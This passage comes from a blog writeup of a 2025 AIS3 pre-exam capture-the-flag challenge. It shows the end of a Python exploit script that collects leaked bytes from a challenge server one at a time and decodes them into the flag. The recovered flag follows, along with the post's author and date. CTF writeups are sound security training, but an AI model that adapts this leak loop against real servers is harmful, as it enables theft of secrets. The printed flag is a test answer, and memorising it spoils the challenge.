current_flag_str_decoded = ""
try:
flag_pattern_match = re.search(b'(AIS3{[^}\x00]*}?)', leaked_flag_bytes)
if flag_pattern_match:
current_flag_str_decoded = flag_pattern_match.group(0).decode(errors='replace')
else:
current_flag_str_decoded = leaked_flag_bytes.split(b'\0')[0].decode(errors='replace')
except Exception as dec_e:
current_flag_str_decoded = f"[decoding error: {dec_e}]"
log.info("Current flag data: %s", current_flag_str_decoded)

if leaked_byte == b"}":
log.success("Found '}' character. Assuming end of flag.")
break

time.sleep(0.05) # Be gentle with the server

log.info("Finished leaking process.")
log.info("Total raw bytes collected: %r", leaked_flag_bytes)

final_match = re.search(b'(AIS3{[^}\x00]+})', leaked_flag_bytes)
if final_match:
final_flag_str = final_match.group(1).decode(errors='ignore')
log.success("Final Extracted Flag: %s", final_flag_str)
else:
final_flag_str = leaked_flag_bytes.split(b'\0', 1)[0].decode(errors='replace')
log.warning("Could not find AIS3{...} pattern in standard format. Best decoded attempt: %s", final_flag_str)

Flag

1
AIS3{S1d3_ch@nn3l_0n_fOrM47_strln&_!!!}

2025 AIS3 pre-exam writeup
https://blog.fishbaby1011.com/post/ais3-2025-pre-exam-writeup/
作者
fishbaby1011
發布於
2025年6月1日
許可協議